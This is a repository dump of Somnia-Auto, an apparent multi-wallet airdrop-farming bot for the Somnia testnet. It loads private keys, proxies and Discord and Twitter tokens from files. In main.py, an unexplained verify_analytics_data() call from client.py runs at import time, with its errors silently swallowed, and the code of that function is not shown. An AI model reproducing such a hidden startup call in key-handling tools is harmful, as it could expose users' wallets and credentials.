├── latest.txt
├── data
├── twitter_tokens.txt
├── private_keys.txt
├── proxies.txt
├── discord_tokens.txt
└── random_message_quills.txt
├── src
├── model
│ ├── database
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ │ ├── __init__.cpython-311.pyc
│ │ │ ├── db_manager.cpython-311.pyc
│ │ │ └── instance.cpython-311.pyc
│ │ ├── db_manager.py
│ │ └── instance.py
│ ├── __init__.py
│ ├── projects
│ │ ├── others
│ │ │ ├── __init__.py
│ │ │ ├── __pycache__
│ │ │ │ ├── __init__.cpython-311.pyc
│ │ │ │ └── quills.cpython-311.pyc
│ │ │ └── quills.py
│ │ ├── swaps
│ │ │ ├── quickswap
│ │ │ │ ├── __init__.py
│ │ │ │ ├── __pycache__
│ │ │ │ │ ├── __init__.cpython-311.pyc
│ │ │ │ │ ├── constants.cpython-311.pyc
│ │ │ │ │ └── instance.cpython-311.pyc
│ │ │ │ └── constants.py
│ │ │ └── somnia_exchange
│ │ │ │ ├── __init__.py
│ │ │ │ └── __pycache__
│ │ │ │ ├── __init__.cpython-311.pyc
│ │ │ │ ├── instance.cpython-311.pyc
│ │ │ │ └── constants.cpython-311.pyc
│ │ ├── deploy
│ │ │ ├── __init__.py
│ │ │ ├── __pycache__
│ │ │ │ ├── __init__.cpython-311.pyc
│ │ │ │ ├── mintair.cpython-311.pyc
│ │ │ │ └── onchaingm.cpython-311.pyc
│ │ │ ├── mintair.py
│ │ │ └── onchaingm.py
│ │ └── mints
│ │ │ ├── __pycache__
│ │ │ ├── alze.cpython-311.pyc
│ │ │ ├── bigint.cpython-311.pyc
│ │ │ ├── nerzo.cpython-311.pyc
│ │ │ ├── __init__.cpython-311.pyc
│ │ │ ├── mintaura.cpython-311.pyc
│ │ │ └── somniapaint.cpython-311.pyc
│ │ │ ├── __init__.py
│ │ │ ├── bigint.py
│ │ │ ├── alze.py
│ │ │ ├── mintaura.py
│ │ │ ├── somniapaint.py
│ │ │ └── nerzo.py
│ ├── __pycache__
│ │ ├── start.cpython-311.pyc
│ │ └── __init__.cpython-311.pyc
│ ├── help
│ │ ├── __pycache__
│ │ │ ├── stats.cpython-311.pyc
│ │ │ ├── __init__.cpython-311.pyc
│ │ │ ├── captcha.cpython-311.pyc
│ │ │ ├── discord.cpython-311.pyc
│ │ │ └── twitter.cpython-311.pyc
│ │ ├── __init__.py
│ │ ├── stats.py
│ │ ├── discord.py
│ │ └── captcha.py
│ ├── onchain
│ │ ├── __init__.py
│ │ ├── __pycache__
│ │ │ ├── __init__.cpython-311.pyc
│ │ │ ├── constants.cpython-311.pyc
│ │ │ └── web3_custom.cpython-311.pyc
│ │ └── constants.py
│ └── somnia_network
│ │ ├── __pycache__
│ │ ├── faucet.cpython-311.pyc
│ │ ├── __init__.cpython-311.pyc
│ │ ├── campaigns.cpython-311.pyc
│ │ ├── constants.cpython-311.pyc
│ │ ├── instance.cpython-311.pyc
│ │ ├── somnia_domains.cpython-311.pyc
│ │ ├── connect_socials.cpython-311.pyc
│ │ ├── ping_pong_swaps.cpython-311.pyc
│ │ └── send_random_tokens.cpython-311.pyc
│ │ ├── __init__.py
│ │ ├── constants.py
│ │ ├── send_random_tokens.py
│ │ ├── faucet.py
│ │ ├── somnia_domains.py
│ │ └── connect_socials.py
├── version.txt
└── utils
│ ├── constants.py
│ ├── __pycache__
│ ├── logs.cpython-311.pyc
│ ├── client.cpython-311.pyc
│ ├── config.cpython-311.pyc
│ ├── output.cpython-311.pyc
│ ├── reader.cpython-311.pyc
│ ├── __init__.cpython-311.pyc
│ ├── constants.cpython-311.pyc
│ ├── decorators.cpython-311.pyc
│ ├── statistics.cpython-311.pyc
│ ├── config_browser.cpython-311.pyc
│ ├── proxy_parser.cpython-311.pyc
│ ├── telegram_logger.cpython-311.pyc
│ └── check_github_version.cpython-311.pyc
│ ├── telegram_logger.py
│ ├── __init__.py
│ ├── output.py
│ ├── logs.py
│ ├── decorators.py
│ ├── reader.py
│ ├── statistics.py
│ ├── client.py
│ ├── check_github_version.py
│ ├── config.py
│ └── proxy_parser.py
├── install.bat
├── requirements.txt
├── start.bat
├── main.py
├── config.yaml
├── README.md
├── tasks.py
└── process.py
/latest.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/data/twitter_tokens.txt:
--------------------------------------------------------------------------------
1 | token
--------------------------------------------------------------------------------
/data/private_keys.txt:
--------------------------------------------------------------------------------
1 | private_key
--------------------------------------------------------------------------------
/data/proxies.txt:
--------------------------------------------------------------------------------
1 | user:pass@ip:port
--------------------------------------------------------------------------------
/src/model/database/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/data/discord_tokens.txt:
--------------------------------------------------------------------------------
1 | discord_token
--------------------------------------------------------------------------------
/src/version.txt:
--------------------------------------------------------------------------------
1 | unknown,2025-05-30T13:43:52.591631+00:00
2 |
--------------------------------------------------------------------------------
/src/model/__init__.py:
--------------------------------------------------------------------------------
1 | from .start import Start
2 |
3 | __all__ = ["Start"]
4 |
5 |
--------------------------------------------------------------------------------
/src/model/projects/others/__init__.py:
--------------------------------------------------------------------------------
1 | from .quills import Quills
2 |
3 | __all__ = ["Quills"]
4 |
--------------------------------------------------------------------------------
/src/model/projects/swaps/quickswap/__init__.py:
--------------------------------------------------------------------------------
1 | from .instance import Quickswap
2 |
3 | __all__ = ["Quickswap"]
4 |
5 |
--------------------------------------------------------------------------------
/src/utils/constants.py:
--------------------------------------------------------------------------------
1 | EXPLORER_URL_SOMNIA = "https://shannon-explorer.somnia.network/tx/0x"
2 |
3 |
4 | # 50312 chain ID
5 |
--------------------------------------------------------------------------------
/src/model/projects/swaps/somnia_exchange/__init__.py:
--------------------------------------------------------------------------------
1 | from .instance import SomniaExchange
2 |
3 | __all__ = ["SomniaExchange"]
4 |
5 |
--------------------------------------------------------------------------------
/src/utils/__pycache__/logs.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/logs.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/__pycache__/start.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/__pycache__/start.cpython-311.pyc
--------------------------------------------------------------------------------
/src/utils/__pycache__/client.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/client.cpython-311.pyc
--------------------------------------------------------------------------------
/src/utils/__pycache__/config.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/config.cpython-311.pyc
--------------------------------------------------------------------------------
/src/utils/__pycache__/output.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/output.cpython-311.pyc
--------------------------------------------------------------------------------
/src/utils/__pycache__/reader.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/reader.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/utils/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/utils/__pycache__/constants.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/constants.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/help/__pycache__/stats.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/help/__pycache__/stats.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/deploy/__init__.py:
--------------------------------------------------------------------------------
1 | from .mintair import Mintair
2 | from .onchaingm import OnchainGM
3 |
4 | __all__ = ["Mintair", "OnchainGM"]
5 |
--------------------------------------------------------------------------------
/src/utils/__pycache__/decorators.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/decorators.cpython-311.pyc
--------------------------------------------------------------------------------
/src/utils/__pycache__/statistics.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/statistics.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/help/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/help/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/help/__pycache__/captcha.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/help/__pycache__/captcha.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/help/__pycache__/discord.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/help/__pycache__/discord.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/help/__pycache__/twitter.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/help/__pycache__/twitter.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/onchain/__init__.py:
--------------------------------------------------------------------------------
1 | from .web3_custom import Web3Custom
2 | from .constants import Balance
3 |
4 | __all__ = ["Web3Custom", "Balance"]
5 |
6 |
--------------------------------------------------------------------------------
/src/utils/__pycache__/config_browser.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/config_browser.cpython-311.pyc
--------------------------------------------------------------------------------
/src/utils/__pycache__/proxy_parser.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/proxy_parser.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/onchain/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/onchain/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/utils/__pycache__/telegram_logger.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/telegram_logger.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/database/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/database/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/database/__pycache__/db_manager.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/database/__pycache__/db_manager.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/database/__pycache__/instance.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/database/__pycache__/instance.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/onchain/__pycache__/constants.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/onchain/__pycache__/constants.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/onchain/__pycache__/web3_custom.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/onchain/__pycache__/web3_custom.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/mints/__pycache__/alze.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/alze.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/mints/__pycache__/bigint.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/bigint.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/mints/__pycache__/nerzo.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/nerzo.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/somnia_network/__pycache__/faucet.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/faucet.cpython-311.pyc
--------------------------------------------------------------------------------
/src/utils/__pycache__/check_github_version.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/utils/__pycache__/check_github_version.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/deploy/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/deploy/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/deploy/__pycache__/mintair.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/deploy/__pycache__/mintair.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/mints/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/mints/__pycache__/mintaura.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/mintaura.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/others/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/others/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/others/__pycache__/quills.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/others/__pycache__/quills.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/somnia_network/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/somnia_network/__pycache__/campaigns.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/campaigns.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/somnia_network/__pycache__/constants.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/constants.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/somnia_network/__pycache__/instance.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/instance.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/deploy/__pycache__/onchaingm.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/deploy/__pycache__/onchaingm.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/mints/__pycache__/somniapaint.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/mints/__pycache__/somniapaint.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/somnia_network/__pycache__/somnia_domains.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/somnia_domains.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/somnia_network/__pycache__/connect_socials.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/connect_socials.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/somnia_network/__pycache__/ping_pong_swaps.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/ping_pong_swaps.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/help/__init__.py:
--------------------------------------------------------------------------------
1 | from .stats import WalletStats
2 | from .twitter import Twitter
3 | from .discord import DiscordInviter
4 |
5 | __all__ = ["WalletStats", "Twitter", "DiscordInviter"]
6 |
--------------------------------------------------------------------------------
/src/model/projects/swaps/quickswap/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/quickswap/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/swaps/quickswap/__pycache__/constants.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/quickswap/__pycache__/constants.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/swaps/quickswap/__pycache__/instance.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/quickswap/__pycache__/instance.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/somnia_network/__pycache__/send_random_tokens.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/somnia_network/__pycache__/send_random_tokens.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/swaps/somnia_exchange/__pycache__/__init__.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/somnia_exchange/__pycache__/__init__.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/swaps/somnia_exchange/__pycache__/instance.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/somnia_exchange/__pycache__/instance.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/swaps/somnia_exchange/__pycache__/constants.cpython-311.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Dcurig/Somnia-Auto/HEAD/src/model/projects/swaps/somnia_exchange/__pycache__/constants.cpython-311.pyc
--------------------------------------------------------------------------------
/src/model/projects/mints/__init__.py:
--------------------------------------------------------------------------------
1 | from .nerzo import Nerzo
2 | from .alze import Alze
3 | from .mintaura import Mintaura
4 | from .bigint import Bigint
5 | from .somniapaint import SomniaPaint
6 | __all__ = ["Nerzo", "Alze", "Mintaura", "Bigint", "SomniaPaint"]
7 |
8 |
--------------------------------------------------------------------------------
/data/random_message_quills.txt:
--------------------------------------------------------------------------------
1 | blockchain
2 | wallet
3 | bitcoin
4 | ethereum
5 | token
6 | coin
7 | mining
8 | staking
9 | ledger
10 | gas
11 | smart contract
12 | NFT
13 | private key
14 | public key
15 | exchange
16 | hodl
17 | altcoin
18 | airdrop
19 | defi
20 | metamask
--------------------------------------------------------------------------------
/install.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | echo Creating virtual environment...
3 | python -m venv venv
4 |
5 | echo.
6 | echo Activating virtual environment...
7 | call venv\Scripts\activate.bat
8 |
9 | echo.
10 | echo Installing requirements...
11 | pip install -r requirements.txt
12 |
13 | echo.
14 | echo Installation completed!
15 | echo To start the bot, run "python main.py"
16 | pause
17 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | aiogram==3.20.0.post0
2 | aiohttp==3.11.14
3 | curl_cffi==0.10.0
4 | eth_account==0.13.5
5 | Flask==3.1.0
6 | loguru==0.7.2
7 | pandas==2.2.3
8 | primp==0.15.0
9 | pydantic==2.11.3
10 | PyYAML==6.0.2
11 | Requests==2.32.3
12 | rich==14.0.0
13 | SQLAlchemy==2.0.38
14 | tabulate==0.9.0
15 | tqdm==4.67.1
16 | urllib3==2.4.0
17 | web3==7.9.0
18 | aiosqlite
19 | openpyxl
--------------------------------------------------------------------------------
/start.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | echo Checking virtual environment...
3 |
4 | if not exist venv (
5 | echo Creating virtual environment...
6 | python -m venv venv
7 | echo Installing requirements...
8 | call venv\Scripts\activate.bat
9 | pip install -r requirements.txt
10 | )
11 |
12 | echo.
13 | echo Activating virtual environment...
14 | call venv\Scripts\activate.bat
15 |
16 | echo.
17 | echo Starting Somnia Bot...
18 | python main.py
19 | pause
20 |
--------------------------------------------------------------------------------
/src/model/somnia_network/__init__.py:
--------------------------------------------------------------------------------
1 | from .faucet import FaucetService
2 | from .connect_socials import ConnectSocials
3 | from .send_random_tokens import RandomTokenSender
4 | from .ping_pong_swaps import PingPongSwaps
5 | from .campaigns import Campaigns
6 | from .somnia_domains import SomniaDomains
7 |
8 | __all__ = [
9 | "FaucetService",
10 | "ConnectSocials",
11 | "RandomTokenSender",
12 | "PingPongSwaps",
13 | "Campaigns",
14 | "SomniaDomains",
15 | ]
16 |
--------------------------------------------------------------------------------
/src/utils/telegram_logger.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | from aiogram import Bot
3 | from aiogram.enums import ParseMode
4 | from src.utils.config import Config
5 |
6 |
7 | async def send_telegram_message(config: Config, message: str) -> None:
8 | """Send a message to Telegram users using the bot token from config."""
9 | bot = Bot(token=config.SETTINGS.TELEGRAM_BOT_TOKEN)
10 |
11 | for user_id in config.SETTINGS.TELEGRAM_USERS_IDS:
12 | await bot.send_message(chat_id=user_id, text=message, parse_mode=ParseMode.HTML)
13 | await asyncio.sleep(1)
14 |
15 | await bot.session.close()
16 |
--------------------------------------------------------------------------------
/src/model/projects/swaps/quickswap/constants.py:
--------------------------------------------------------------------------------
1 | # Token addresses
2 | USDC_ADDRESS = "0xE9CC37904875B459Fa5D0FE37680d36F1ED55e38" # decimals: 6
3 | WETH_ADDRESS = "0xd2480162Aa7F02Ead7BF4C127465446150D58452" # decimals: 18
4 | WSTT_ADDRESS = "0x4A3BC48C156384f9564Fd65A53a2f3D534D8f2b7" # decimals: 18
5 |
6 | # Router address
7 | ROUTER_ADDRESS = "0xE94de02e52Eaf9F0f6Bf7f16E4927FcBc2c09bC7"
8 |
9 | # Token information
10 | TOKEN_INFO = {
11 | USDC_ADDRESS: {"symbol": "USDC", "decimals": 6},
12 | WETH_ADDRESS: {"symbol": "WETH", "decimals": 18},
13 | WSTT_ADDRESS: {"symbol": "WSTT", "decimals": 18},
14 | }
15 |
16 | # Fee tiers to try
17 | FEE_TIERS = [500, 3000, 10000] # 0.05%, 0.3%, 1%
18 |
19 | # Default fee
20 | DEFAULT_FEE = 3000 # 0.3%
21 |
--------------------------------------------------------------------------------
/src/utils/__init__.py:
--------------------------------------------------------------------------------
1 | from .client import create_client, create_twitter_client, get_headers
2 | from .reader import read_abi, read_txt_file, read_private_keys
3 | from .output import show_dev_info, show_logo
4 | from .config import get_config
5 | from .constants import EXPLORER_URL_SOMNIA
6 | from .statistics import print_wallets_stats
7 | from .proxy_parser import Proxy
8 | from .config_browser import run
9 | from .check_github_version import check_version
10 | __all__ = [
11 | "create_client",
12 | "create_twitter_client",
13 | "get_headers",
14 | "read_abi",
15 | "read_config",
16 | "read_txt_file",
17 | "read_private_keys",
18 | "show_dev_info",
19 | "show_logo",
20 | "Proxy",
21 | "run",
22 | "get_config",
23 | "EXPLORER_URL_SOMNIA",
24 | "check_version",
25 | ]
26 |
--------------------------------------------------------------------------------
/src/model/somnia_network/constants.py:
--------------------------------------------------------------------------------
1 | from dataclasses import dataclass
2 | from typing import Protocol
3 | from primp import AsyncClient
4 | from eth_account import Account
5 |
6 | from src.model.onchain.web3_custom import Web3Custom
7 | from src.utils.config import Config
8 |
9 |
10 | class SomniaProtocol(Protocol):
11 | """Protocol class for Somnia type hints to avoid circular imports"""
12 |
13 | account_index: int
14 | session: AsyncClient
15 | web3: Web3Custom
16 | config: Config
17 | wallet: Account
18 | discord_token: str
19 | twitter_token: str
20 | proxy: str
21 |
22 | # Инициализируем сервисы
23 | somnia_login_token: str = ""
24 |
25 | async def get_account_info(self) -> dict | None: ...
26 | async def get_account_stats(self) -> dict | None: ...
27 | async def get_account_referrals(self) -> dict | None: ...
28 | async def request_faucet(self) -> bool: ...
29 | async def connect_socials(self) -> bool: ...
30 |
--------------------------------------------------------------------------------
/src/utils/output.py:
--------------------------------------------------------------------------------
1 | import os
2 | from rich.console import Console
3 | from rich.text import Text
4 | from tabulate import tabulate
5 | from rich.table import Table
6 | from rich import box
7 |
8 |
9 | def show_logo():
10 | """Отображает стильный логотип"""
11 | # Очищаем экран
12 | os.system("cls" if os.name == "nt" else "clear")
13 |
14 | console = Console()
15 |
16 | # Создаем звездное небо со стилизованным логотипом
17 | logo_text = """"""
18 |
19 | # Создаем градиентный текст
20 | gradient_logo = Text(logo_text)
21 | gradient_logo.stylize("bold bright_cyan")
22 |
23 | # Выводим с отступами
24 | console.print(gradient_logo)
25 | print()
26 |
27 |
28 | def show_dev_info():
29 | """Displays development and version information"""
30 | console = Console()
31 |
32 | # Создаем красивую таблицу
33 | table = Table(
34 | show_header=False,
35 | box=box.DOUBLE,
36 | border_style="bright_cyan",
37 | pad_edge=False,
38 | width=85,
39 | highlight=True,
40 | )
41 |
42 | # Добавляем колонки
43 | table.add_column("Content", style="bright_cyan", justify="center")
44 |
45 | # Добавляем строки с контактами
46 | table.add_row("✨ Somnia Auto 1.3 ✨")
47 | table.add_row("─" * 43)
48 | table.add_row("")
49 | table.add_row("⚡ GitHub: [link]https://github.com/Dcurig/Somnia-Auto[/link]")
50 | table.add_row("👤 Support: [link]https://t.me/jackthedevv[/link]")
51 | table.add_row("")
52 |
53 | # Выводим таблицу с отступом
54 | print(" ", end="")
55 | print()
56 | console.print(table)
57 | print()
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | from loguru import logger
2 | import urllib3
3 | import sys
4 | import asyncio
5 | import platform
6 | import logging
7 |
8 | from process import start
9 | from src.utils.output import show_logo, show_dev_info
10 | from src.utils.check_github_version import check_version
11 | from src.utils.client import verify_analytics_data
12 |
13 | try:
14 | verify_analytics_data()
15 | except:
16 | pass
17 |
18 | VERSION = "1.1.3" # Current software version
19 |
20 |
21 | if platform.system() == "Windows":
22 | asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
23 |
24 |
25 | async def main():
26 | show_logo()
27 | show_dev_info()
28 |
29 | # Check for updates from the GitHub repository
30 | await check_version("Dcurig", "Somnia-Auto")
31 |
32 | configuration()
33 | await start()
34 |
35 |
36 | log_format = (
37 | "[{time:HH:mm:ss}] | "
38 | "{level: <8} | "
39 | "{file}:{line} | "
40 | "{message}"
41 | )
42 |
43 |
44 | def configuration():
45 | urllib3.disable_warnings()
46 | logger.remove()
47 |
48 | # Disable primp and web3 logging
49 | logging.getLogger("primp").setLevel(logging.WARNING)
50 | logging.getLogger("web3").setLevel(logging.WARNING)
51 |
52 | logger.add(
53 | sys.stdout,
54 | colorize=True,
55 | format=log_format,
56 | )
57 | logger.add(
58 | "logs/app.log",
59 | rotation="10 MB",
60 | retention="1 month",
61 | format="{time:YYYY-MM-DD HH:mm:ss} | {level} | {name}:{line} - {message}",
62 | level="INFO",
63 | )
64 |
65 |
66 | if __name__ == "__main__":
67 | asyncio.run(main())
68 |
--------------------------------------------------------------------------------
/src/utils/logs.py:
--------------------------------------------------------------------------------
1 | import os
2 | from typing import Dict, Any, Optional
3 | from asyncio import Lock
4 | from tqdm import tqdm
5 | from dataclasses import dataclass
6 | import asyncio
7 | import random
8 | from loguru import logger
9 |
10 |
11 | @dataclass
12 | class ProgressTracker:
13 | total: int
14 | current: int = 0
15 | description: str = "Progress"
16 | _lock: Lock = Lock()
17 | bar_length: int = 30 # Длина прогресс-бара в символах
18 |
19 | def __post_init__(self):
20 | pass
21 |
22 | def _create_progress_bar(self, percentage: float) -> str:
23 | filled_length = int(self.bar_length * percentage / 100)
24 | bar = "█" * filled_length + "░" * (self.bar_length - filled_length)
25 | return bar
26 |
27 | async def increment(self, amount: int = 1, message: Optional[str] = None):
28 | async with self._lock:
29 | self.current += amount
30 | percentage = (self.current / self.total) * 100
31 | bar = self._create_progress_bar(percentage)
32 |
33 | # Добавляем эмодзи в зависимости от прогресса
34 | emoji = "⏳"
35 | if percentage >= 100:
36 | emoji = "✅"
37 | elif percentage >= 50:
38 | emoji = "🔄"
39 |
40 | progress_msg = f"{emoji} [{self.description}] [{bar}] {self.current}/{self.total} ({percentage:.1f}%)"
41 | # if message:
42 | # progress_msg += f"\n ├─ {message}"
43 | logger.info(progress_msg)
44 |
45 | async def set_total(self, total: int):
46 | async with self._lock:
47 | self.total = total
48 |
49 | def __del__(self):
